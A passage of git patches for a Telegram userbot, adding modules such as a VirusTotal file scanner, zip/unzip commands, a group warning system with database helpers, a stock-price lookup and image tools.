`.stegano hello this is secret message` .\ +\n\n**What is Steganography :** Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message, a form of security through obscurity. Additionally this plugin also enhance the security of the steganography through data encryption. The data concealed is encrypted using AES 256 encryption, a popular algorithm used in symmetric key cryptography." + } +) From 91f3619fd60c395efdd0064b722e6ae7a8d031d2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:18:36 +0530 Subject: [PATCH 129/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 928dfe66..bcbb98da 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -137,6 +137,7 @@ class Config(object): PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False)) PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) + FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") From e15e1d6de46f4aaf0bca9f337fbc90807f351d07 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:21:50 +0530 Subject: [PATCH 130/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index bcbb98da..2b2fdbab 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -147,6 +147,7 @@ class Config(object): OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None) SUPERHERO_API_KEY = os.environ.get("SUPERHERO_API_KEY", None) FOOTBALL_API_KEY = os.environ.get("FOOTBALL_API_KEY", None) + VIRUSTOTAL_API_KEY = os.environ.get("VIRUSTOTAL_API_KEY", None) OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" From 97c1f179676611935653f95c5be2cd70542df46c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:22:25 +0530 Subject: [PATCH 131/838] Create virustotal.py --- fridaybot/modules/virustotal.py | 138 ++++++++++++++++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 fridaybot/modules/virustotal.py diff --git a/fridaybot/modules/virustotal.py b/fridaybot/modules/virustotal.py new file mode 100644 index 00000000..fe6e0ec6 --- /dev/null +++ b/fridaybot/modules/virustotal.py @@ -0,0 +1,138 @@ +import asyncio +import math +import os +import time + +import requests +from uniborg.util import friday_on_cmd + +from fridaybot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY +from fridaybot.Configs import Config +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + +# from var import var + + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current != total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "[{0}{1}] {2}%\n".format( + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + await event.edit( + "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + else: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + +sedpath = "./fridaydevs/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +@friday.on(friday_on_cmd(pattern="vt(?: |$)(.*)", outgoing=True)) +@friday.on(sudo_cmd(pattern="vt(?: |$)(.*)", allow_sudo=True)) +async def download(target_file): + friday = await edit_or_reply(target_file, "`Processing ...`") + if Config.VIRUSTOTAL_API_KEY is None: + await friday.edit( + "Need to get an API key from https://virustotal.com\nModule stopping!" + ) + return + await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡") + input_str = Config.VIRUSTOTAL_API_KEY + if not os.path.isdir(sedpath): + os.makedirs(sedpath) + if target_file.reply_to_msg_id: + try: + c_time = time.time() + downloaded_file_name = await target_file.client.download_media( + await target_file.get_reply_message(), + TEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, target_file, c_time, "Downloading...") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await friday.edit(str(e)) + else: + await friday.edit( + "Downloaded to `{}` successfully !!".format(downloaded_file_name) + ) + else: + await friday.edit("Reply to a file..") + + url = "https://www.virustotal.com/vtapi/v2/file/scan" + + params = {"apikey": input_str} + files = {"file": (downloaded_file_name, open(downloaded_file_name, "rb"))} + response = requests.post(url, files=files, params=params) + try: + a = response.json() + b = a["permalink"] + except: + await friday.edit("your file is larger than 32 mb.") + try: + await friday.edit( + f" File Scan Request Complete\n\nLink of the report:-\n{b}\n\nNote:- Please open the link after 5-10 minutes.", + parse_mode="HTML", + ) + except: + await friday.edit("your file is larger than 32 mb. --__--") + + +CMD_HELP.update( + { + "virustotal": "**VirusTotal**\ +\n\n**Syntax : **`.vt `\ +\n**Usage :** Scans replyed file with virustotal.\ +\n**note** :** File should be less than 32 mb." + } +) From 5f6205556e59a5fec5a10d7483f9143cc1c47dea Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:23:57 +0530 Subject: [PATCH 132/838] Update unzipfile.py --- fridaybot/modules/unzipfile.py | 91 ++++++++++++++++++++-------------- 1 file changed, 54 insertions(+), 37 deletions(-) diff --git a/fridaybot/modules/unzipfile.py b/fridaybot/modules/unzipfile.py index a6a7e164..8ae35c53 100644 --- a/fridaybot/modules/unzipfile.py +++ b/fridaybot/modules/unzipfile.py @@ -2,41 +2,80 @@ coded by @By_Azade code rewritten my SnapDragon7410 """ - +import asyncio import os import time +import time as t import zipfile from datetime import datetime -from hachoir.metadata import extractMetadata -from hachoir.parser import createParser -from telethon.tl.types import DocumentAttributeVideo - from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from fridaybot.utils import admin_cmd -thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" extracted = Config.TMP_DOWNLOAD_DIRECTORY + "extracted/" -if not os.path.isdir(extracted): - os.makedirs(extracted) +thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" -@friday.on(friday_on_cmd(pattern="unzip")) +@borg.on(admin_cmd("zip")) async def _(event): if event.fwd_from: return + if not event.is_reply: + await event.edit("Reply to a file to compress it. Bruh.") + return mone = await event.edit("Processing ...") if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: - start = datetime.now() reply_message = await event.get_reply_message() try: - time.time() downloaded_file_name = await borg.download_media( reply_message, Config.TMP_DOWNLOAD_DIRECTORY, ) + directory_name = downloaded_file_name + await event.edit(downloaded_file_name) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write( + directory_name + ) + await borg.send_file( + event.chat_id, + directory_name + ".zip", + caption="**Zipped!**", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + await asyncio.sleep(7) + await event.delete() + + +def zipdir(path, ziph): + # ziph is zipfile handle + for root, dirs, files in os.walk(path): + for file in files: + ziph.write(os.path.join(root, file)) + os.remove(os.path.join(root, file)) + + +@borg.on(admin_cmd(pattern="unzip")) +async def _(event): + if event.fwd_from: + return + mone = await event.edit("Processing ...") + if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + t.time() + downloaded_file_name = await bot.download_media( + reply_message, + Config.TMP_DOWNLOAD_DIRECTORY, + ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) else: @@ -59,33 +98,11 @@ async def _(event): force_document = True supports_streaming = False document_attributes = [] - if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): - metadata = extractMetadata(createParser(single_file)) - duration = 0 - width = 0 - height = 0 - if metadata.has("duration"): - duration = metadata.get("duration").seconds - if os.path.exists(thumb_image_path): - metadata = extractMetadata(createParser(thumb_image_path)) - if metadata.has("width"): - width = metadata.get("width") - if metadata.has("height"): - height = metadata.get("height") - document_attributes = [ - DocumentAttributeVideo( - duration=duration, - w=width, - h=height, - round_message=False, - supports_streaming=True, - ) - ] try: - await borg.send_file( + await bot.send_file( event.chat_id, single_file, - caption=f"UnZipped `{caption_rts}`", + caption=f"**Unzipped** `{caption_rts}`", force_document=force_document, supports_streaming=supports_streaming, allow_cache=False, @@ -96,7 +113,7 @@ async def _(event): # ) ) except Exception as e: - await borg.send_message( + await bot.send_message( event.chat_id, "{} caused `{}`".format(caption_rts, str(e)), reply_to=event.message.id, From 04fca8f981af838b82b3a486c9a4811690d5f94c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:26:05 +0530 Subject: [PATCH 133/838] Update requirements.txt --- requirements.txt | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/requirements.txt b/requirements.txt index 69a24e0e..d411878c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -62,6 +62,18 @@ pyjokes cryptocompare cryptosteganography faker +apscheduler +git+https://github.com/gleitz/howdoi +pokedex.py +PyProxyToolkit +cairosvg +grapheme +QScintilla +requests_html +flask +yahoo_fin +anime_downloader +pandas pydub validators googletrans==3.1.0a0 From ba3d8bbeee1ec151d8e6ebe3a29521202698abad Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:27:00 +0530 Subject: [PATCH 134/838] Create warns.py --- fridaybot/modules/warns.py | 169 +++++++++++++++++++++++++++++++++++++ 1 file changed, 169 insertions(+) create mode 100644 fridaybot/modules/warns.py diff --git a/fridaybot/modules/warns.py b/fridaybot/modules/warns.py new file mode 100644 index 00000000..fcc1efdd --- /dev/null +++ b/fridaybot/modules/warns.py @@ -0,0 +1,169 @@ +from fridaybot.modules.sql_helper import warns_sql as sql +from fridaybot.utils import friday_on_cmd + + +@friday.on(friday_on_cmd(pattern="warn(?: |$)(.*)")) +async def _s(event): + user, reason = await get_user_from_event(event) + sed = await friday.get_permissions(event.chat_id, user.id) + if sed.is_admin: + await event.edit("`Demn, Admins Can't Be Warned`") + return + dragon = await friday.get_permissions(event.chat_id, bot.uid) + if not dragon.is_admin: + await event.edit("`Demn, Me nOT Admin`") + return + limit, soft_warn = sql.get_warn_setting(event.chat_id) + num_warns, reasons = sql.warn_user(user.id, event.chat_id, reason) + if num_warns >= limit: + sql.reset_warns(user.id, event.chat_id) + if soft_warn: + await friday.kick_participant(event.chat_id, user.id) + reply = "{} warnings, {} has been kicked!".format(limit, user.id) + await event.edit(reply) + else: + await friday.edit_permissions(event.chat_id, user.id, view_messages=False) + reply = "{} warnings, {} has been banned!".format( + limit, user.id, user.first_name + ) + await event.edit(reply) + for warn_reason in reasons: + reply += "\n - {}".format(warn_reason) + else: + reply = "{} has {}/{} warnings... watch out!".format(user.id, num_warns, limit) + if reason: + reply += "\nReason for last warn:\n{}".format(reason) + await event.edit(reply) + + +@friday.on(friday_on_cmd(pattern="rwarn(?: |$)(.*)")) +async def _(event): + user, reason = await get_user_from_event(event) + sed = await friday.get_permissions(event.chat_id, user.id) + if sed.is_admin: + await event.edit("Demn, Admins Can't Be Warned") + return + dragon = await friday.get_permissions(event.chat_id, bot.uid) + if not dragon.is_admin: + await event.edit("Demn, Me nOT Admin") + return + sql.reset_warns(user.id, event.chat_id) + await event.edit("Warnings have been reset!") + + +@friday.on(friday_on_cmd(pattern="allwarns(?: |$)(.*)")) +async def __(event): + user, reason = await get_user_from_event(event) + result = sql.get_warns(user.id, event.chat_id) + if result and result[0] != 0: + num_warns, reasons = result + limit, soft_warn = sql.get_warn_setting(event.chat_id) + if reasons: + text = ( + "This user has {}/{} warnings, for the following reasons: \n\n".format( + num_warns, limit + ) + ) + for reason in reasons: + text += "- {} \n".format(reason) + await event.edit(text) + else: + await event.edit( + "User has {}/{} warnings, but no reasons for any of them.".format( + num_warns, limit + ) + ) + else: + await event.edit("This user hasn't got any warnings!") + + +@friday.on(friday_on_cmd(pattern="slimit ?(.*)")) +async def m_(event): + args = event.pattern_match.group(1) + if args: + if args.isdigit(): + if int(args) < 3: + await event.edit("The minimum warn limit is 3!") + else: + sql.set_warn_limit(event.chat_id, int(args)) + await event.edit("Updated the warn limit to {}".format(args)) + else: + await event.edit("Give me a number as an arg!") + else: + limit, soft_warn = sql.get_warn_setting(event.chat_id) + await event.edit("The current warn limit is {}".format(limit)) + + +@friday.on(friday_on_cmd(pattern="wap ?(.*)")) +async def m_(event): + args = event.pattern_match.group(1) + if args: + if args.lower() in ("on", "yes"): + sql.set_warn_strength(event.chat_id, False) + await event.edit("Too many warns will now result in a ban!") + elif args.lower() in ("off", "no"): + sql.set_warn_strength(event.chat_id, True) + await event.edit( + "Too many warns will now result in a kick! Users will be able to join again after." + ) + else: + await event.edit("I only understand on/yes/no/off!") + else: + limit, soft_warn = sql.get_warn_setting(chat.id) + if soft_warn: + await event.edit( + "Warns are currently set to **kick** users when they exceed the limits." + ) + else: + await event.edit( + "Warns are currently set to **ban** users when they exceed the limits." + ) + + +async def get_user_from_event(event): + """ Get the user from argument or replied message. """ + args = event.pattern_match.group(1).split(" ", 1) + extra = None + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.from_id) + extra = event.pattern_match.group(1) + elif args: + user = args[0] + if len(args) == 2: + extra = args[1] + + if user.isnumeric(): + user = int(user) + + if not user: + await event.edit("`Pass the user's username, id or reply!`") + return + + if event.message.entities is not None: + probable_user_mention_entity = event.message.entities[0] + + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + + return user_obj, extra + + +async def get_user_from_id(user, event): + if isinstance(user, str): + user = int(user) + + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + + return user_obj From 2955e024d7de08eaf7ceae7548d7c347acc84525 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:28:21 +0530 Subject: [PATCH 135/838] Create stock_price.py --- fridaybot/modules/stock_price.py | 49 ++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 fridaybot/modules/stock_price.py diff --git a/fridaybot/modules/stock_price.py b/fridaybot/modules/stock_price.py new file mode 100644 index 00000000..80b20c1c --- /dev/null +++ b/fridaybot/modules/stock_price.py @@ -0,0 +1,49 @@ +import requests +from yahoo_fin import stock_info as si + +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="liveprice (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + try: + a = si.get_live_price(input_str) + + def get_symbol(symbol): + url = "http://d.yimg.com/autoc.finance.yahoo.com/autoc?query={}®ion=1&lang=en".format( + symbol + ) + result = requests.get(url).json() + for x in result["ResultSet"]["Result"]: + if x["symbol"] == symbol: + return x["name"] + + lmao = input_str.upper() + company = get_symbol(lmao) + if company == None: + await event.edit( + f"Stock Information Gathered Successfully \n\nLive Price of {lmao} is:- $ {a} USD", + parse_mode="HTML", + ) + else: + await event.edit( + f"Stock Information Gathered Successfully \n\nLive Price of {company} is:- $ {a} USD", + parse_mode="HTML", + ) + except AssertionError: + await event.edit("There Is No Such Ticker.") + + +CMD_HELP.update( + { + "stock_price": "**Stock Price**\ +\n\n**Syntax : **`.liveprice `\ +\n**Usage :** Shows Live Price Of Given Shares.\ +\n\n**Example : **`.liveprice tsla`\ +\nThis above syntax shows Tesla's share price in USD." + } +) From cce899f2dd528745119b6d0e95dacc080586a4d2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:29:39 +0530 Subject: [PATCH 136/838] Create warns_sql.py --- fridaybot/modules/sql_helper/warns_sql.py | 313 ++++++++++++++++++++++ 1 file changed, 313 insertions(+) create mode 100644 fridaybot/modules/sql_helper/warns_sql.py diff --git a/fridaybot/modules/sql_helper/warns_sql.py b/fridaybot/modules/sql_helper/warns_sql.py new file mode 100644 index 00000000..f1470832 --- /dev/null +++ b/fridaybot/modules/sql_helper/warns_sql.py @@ -0,0 +1,313 @@ +import threading + +from sqlalchemy import Boolean, Column, Integer, String, UnicodeText, distinct, func +from sqlalchemy.dialects import postgresql + +from fridaybot.modules.sql_helper import BASE, SESSION + + +class Warns(BASE): + __tablename__ = "warns" + + user_id = Column(Integer, primary_key=True) + chat_id = Column(String(14), primary_key=True) + num_warns = Column(Integer, default=0) + reasons = Column(postgresql.ARRAY(UnicodeText)) + + def __init__(self, user_id, chat_id): + self.user_id = user_id + self.chat_id = str(chat_id) + self.num_warns = 0 + self.reasons = [] + + def __repr__(self): + return "<{} warns for {} in {} for reasons {}>".format( + self.num_warns, self.user_id, self.chat_id, self.reasons + ) + + +class WarnFilters(BASE): + __tablename__ = "warn_filters" + chat_id = Column(String(14), primary_key=True) + keyword = Column(UnicodeText, primary_key=True, nullable=False) + reply = Column(UnicodeText, nullable=False) + + def __init__(self, chat_id, keyword, reply): + self.chat_id = str(chat_id) # ensure string + self.keyword = keyword + self.reply = reply + + def __repr__(self): + return "" % self.chat_id + + def __eq__(self, other): + return bool( + isinstance(other, WarnFilters) + and self.chat_id == other.chat_id + and self.keyword == other.keyword + ) + + +class WarnSettings(BASE): + __tablename__ = "warn_settings" + chat_id = Column(String(14), primary_key=True) + warn_limit = Column(Integer, default=3) + soft_warn = Column(Boolean, default=False) + + def __init__(self, chat_id, warn_limit=3, soft_warn=False): + self.chat_id = str(chat_id) + self.warn_limit = warn_limit + self.soft_warn = soft_warn + + def __repr__(self): + return "<{} has {} possible warns.>".format(self.chat_id, self.warn_limit) + + +Warns.__table__.create(checkfirst=True) +WarnFilters.__table__.create(checkfirst=True) +WarnSettings.__table__.create(checkfirst=True) + +WARN_INSERTION_LOCK = threading.RLock() +WARN_FILTER_INSERTION_LOCK = threading.RLock() +WARN_SETTINGS_LOCK = threading.RLock() + +WARN_FILTERS = {} + + +def warn_user(user_id, chat_id, reason=None): + with WARN_INSERTION_LOCK: + warned_user = SESSION.query(Warns).get((user_id, str(chat_id))) + if not warned_user: + warned_user = Warns(user_id, str(chat_id)) + + warned_user.num_warns += 1 + if reason: + warned_user.reasons = warned_user.reasons + [ + reason + ] # TODO:: double check this wizardry + + reasons = warned_user.reasons + num = warned_user.num_warns + + SESSION.add(warned_user) + SESSION.commit() + + return num, reasons + + +def remove_warn(user_id, chat_id): + with WARN_INSERTION_LOCK: + removed = False + warned_user = SESSION.query(Warns).get((user_id, str(chat_id))) + + if warned_user and warned_user.num_warns > 0: + warned_user.num_warns -= 1 + + SESSION.add(warned_user) + SESSION.commit() + removed = True + + SESSION.close() + return removed + + +def reset_warns(user_id, chat_id): + with WARN_INSERTION_LOCK: + warned_user = SESSION.query(Warns).get((user_id, str(chat_id))) + if warned_user: + warned_user.num_warns = 0 + warned_user.reasons = [] + + SESSION.add(warned_user) + SESSION.commit() + SESSION.close() + + +def get_warns(user_id, chat_id): + try: + user = SESSION.query(Warns).get((user_id, str(chat_id))) + if not user: + return None + reasons = user.reasons + num = user.num_warns + return num, reasons + finally: + SESSION.close() + + +def add_warn_filter(chat_id, keyword, reply): + with WARN_FILTER_INSERTION_LOCK: + warn_filt = WarnFilters(str(chat_id), keyword, reply) + + if keyword not in WARN_FILTERS.get(str(chat_id), []): + WARN_FILTERS[str(chat_id)] = sorted( + WARN_FILTERS.get(str(chat_id), []) + [keyword], + key=lambda x: (-len(x), x), + ) + + SESSION.merge(warn_filt) # merge to avoid duplicate key issues + SESSION.commit() + + +def remove_warn_filter(chat_id, keyword): + with WARN_FILTER_INSERTION_LOCK: + warn_filt = SESSION.query(WarnFilters).get((str(chat_id), keyword)) + if warn_filt: + if keyword in WARN_FILTERS.get(str(chat_id), []): # sanity check + WARN_FILTERS.get(str(chat_id), []).remove(keyword) + + SESSION.delete(warn_filt) + SESSION.commit() + return True + SESSION.close() + return False + + +def get_chat_warn_triggers(chat_id): + return WARN_FILTERS.get(str(chat_id), set()) + + +def get_chat_warn_filters(chat_id): + try: + return ( + SESSION.query(WarnFilters).filter(WarnFilters.chat_id == str(chat_id)).all() + ) + finally: + SESSION.close() + + +def get_warn_filter(chat_id, keyword): + try: + return SESSION.query(WarnFilters).get((str(chat_id), keyword)) + finally: + SESSION.close() + + +def set_warn_limit(chat_id, warn_limit): + with WARN_SETTINGS_LOCK: + curr_setting = SESSION.query(WarnSettings).get(str(chat_id)) + if not curr_setting: + curr_setting = WarnSettings(chat_id, warn_limit=warn_limit) + + curr_setting.warn_limit = warn_limit + + SESSION.add(curr_setting) + SESSION.commit() + + +def set_warn_strength(chat_id, soft_warn): + with WARN_SETTINGS_LOCK: + curr_setting = SESSION.query(WarnSettings).get(str(chat_id)) + if not curr_setting: + curr_setting = WarnSettings(chat_id, soft_warn=soft_warn) + + curr_setting.soft_warn = soft_warn + + SESSION.add(curr_setting) + SESSION.commit() + + +def get_warn_setting(chat_id): + try: + setting = SESSION.query(WarnSettings).get(str(chat_id)) + if setting: + return setting.warn_limit, setting.soft_warn + else: + return 3, False + + finally: + SESSION.close() + + +def num_warns(): + try: + return SESSION.query(func.sum(Warns.num_warns)).scalar() or 0 + finally: + SESSION.close() + + +def num_warn_chats(): + try: + return SESSION.query(func.count(distinct(Warns.chat_id))).scalar() + finally: + SESSION.close() + + +def num_warn_filters(): + try: + return SESSION.query(WarnFilters).count() + finally: + SESSION.close() + + +def num_warn_chat_filters(chat_id): + try: + return ( + SESSION.query(WarnFilters.chat_id) + .filter(WarnFilters.chat_id == str(chat_id)) + .count() + ) + finally: + SESSION.close() + + +def num_warn_filter_chats(): + try: + return SESSION.query(func.count(distinct(WarnFilters.chat_id))).scalar() + finally: + SESSION.close() + + +def __load_chat_warn_filters(): + global WARN_FILTERS + try: + chats = SESSION.query(WarnFilters.chat_id).distinct().all() + for (chat_id,) in chats: # remove tuple by ( ,) + WARN_FILTERS[chat_id] = [] + + all_filters = SESSION.query(WarnFilters).all() + for x in all_filters: + WARN_FILTERS[x.chat_id] += [x.keyword] + + WARN_FILTERS = { + x: sorted(set(y), key=lambda i: (-len(i), i)) + for x, y in WARN_FILTERS.items() + } + + finally: + SESSION.close() + + +def migrate_chat(old_chat_id, new_chat_id): + with WARN_INSERTION_LOCK: + chat_notes = ( + SESSION.query(Warns).filter(Warns.chat_id == str(old_chat_id)).all() + ) + for note in chat_notes: + note.chat_id = str(new_chat_id) + SESSION.commit() + + with WARN_FILTER_INSERTION_LOCK: + chat_filters = ( + SESSION.query(WarnFilters) + .filter(WarnFilters.chat_id == str(old_chat_id)) + .all() + ) + for filt in chat_filters: + filt.chat_id = str(new_chat_id) + SESSION.commit() + WARN_FILTERS[str(new_chat_id)] = WARN_FILTERS[str(old_chat_id)] + del WARN_FILTERS[str(old_chat_id)] + + with WARN_SETTINGS_LOCK: + chat_settings = ( + SESSION.query(WarnSettings) + .filter(WarnSettings.chat_id == str(old_chat_id)) + .all() + ) + for setting in chat_settings: + setting.chat_id = str(new_chat_id) + SESSION.commit() + + +__load_chat_warn_filters() From 728d064ff20f747afdcbaffaa44cb6e90c1a3eb5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:30:50 +0530 Subject: [PATCH 137/838] Create PostAppender_sql.py --- .../modules/sql_helper/PostAppender_sql.py | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 fridaybot/modules/sql_helper/PostAppender_sql.py diff --git a/fridaybot/modules/sql_helper/PostAppender_sql.py b/fridaybot/modules/sql_helper/PostAppender_sql.py new file mode 100644 index 00000000..3c15abfa --- /dev/null +++ b/fridaybot/modules/sql_helper/PostAppender_sql.py @@ -0,0 +1,57 @@ +from sqlalchemy import Boolean, Column, String, UnicodeText + +from fridaybot.modules.sql_helper import BASE, SESSION + + +class Pa(BASE): + __tablename__ = "pa" + chat_id = Column(String(14), primary_key=True) + textto_append = Column(UnicodeText) + append_foot = Column(Boolean, default=False) + + def __init__(self, chat_id, textto_append, append_foot): + self.chat_id = chat_id + self.append_foot = append_foot + self.textto_append = textto_append + + +Pa.__table__.create(checkfirst=True) + + +def add_new_datas_in_db(chat_id: int, textto_append, append_foot): + setting_adder = Pa(str(chat_id), textto_append, append_foot) + SESSION.add(setting_adder) + SESSION.commit() + + +def get_all_setting_data(chat_id: int): + try: + s__ = SESSION.query(Pa).get(str(chat_id)) + return int(s__.chat_id), s__.append_foot, s__.textto_append + finally: + SESSION.close() + + +def is_data_indbs(chat_id: int): + try: + s__ = SESSION.query(Pa).get(str(chat_id)) + if s__: + return s__.textto_append + finally: + SESSION.close() + + +def is_footer(chat_id: int): + try: + s__ = SESSION.query(Pa).get(str(chat_id)) + if s__: + return s__.append_foot + finally: + SESSION.close() + + +def remove_dataz(chat_id): + lul = SESSION.query(Pa).get(str(chat_id)) + if lul: + SESSION.delete(lul) + SESSION.commit() From 043a74bf17eeca8b62f5afd197090af38eff181f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:32:13 +0530 Subject: [PATCH 138/838] Update sangmata.py From 7a7627b61b8a9d28182b312011750e9100c15965 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:33:53 +0530 Subject: [PATCH 139/838] Update imagetools.py --- fridaybot/modules/imagetools.py | 236 ++++++++++++++++++++++---------- 1 file changed, 167 insertions(+), 69 deletions(-) diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py index cdf31a76..5d8df57b 100644 --- a/fridaybot/modules/imagetools.py +++ b/fridaybot/modules/imagetools.py @@ -11,16 +11,16 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -import os +import os +from shutil import rmtree import cv2 import numpy as np import requests -from PIL import Image +from PIL import Image, ImageDraw, ImageFont from telegraph import upload_file -from telethon.tl.types import MessageMediaPhoto - from fridaybot import CMD_HELP +from fridaybot.function import convert_to_image, crop_vid, runcmd from fridaybot.utils import friday_on_cmd, sudo_cmd sedpath = "./starkgangz/" @@ -35,18 +35,13 @@ async def hmm(event): await event.reply("Reply to any Image.") return hmmu = await event.edit("Colourzing..") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return + await event.get_reply_message() + img = await convert_to_image(event, borg) net = cv2.dnn.readNetFromCaffe( "./resources/imgcolour/colouregex.prototxt", "./resources/imgcolour/colorization_release_v2.caffemodel", ) + pts = np.load("./resources/imgcolour/pts_in_hull.npy") class8 = net.getLayerId("class8_ab") conv8 = net.getLayerId("conv8_313_rh") @@ -90,14 +85,8 @@ async def hmm(event): return headers = {"api-key": life} hmm = await event.edit("Colourzing..") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return + await event.get_reply_message() + img = await convert_to_image(event, borg) img_file = { "image": open(img, "rb"), } @@ -120,14 +109,8 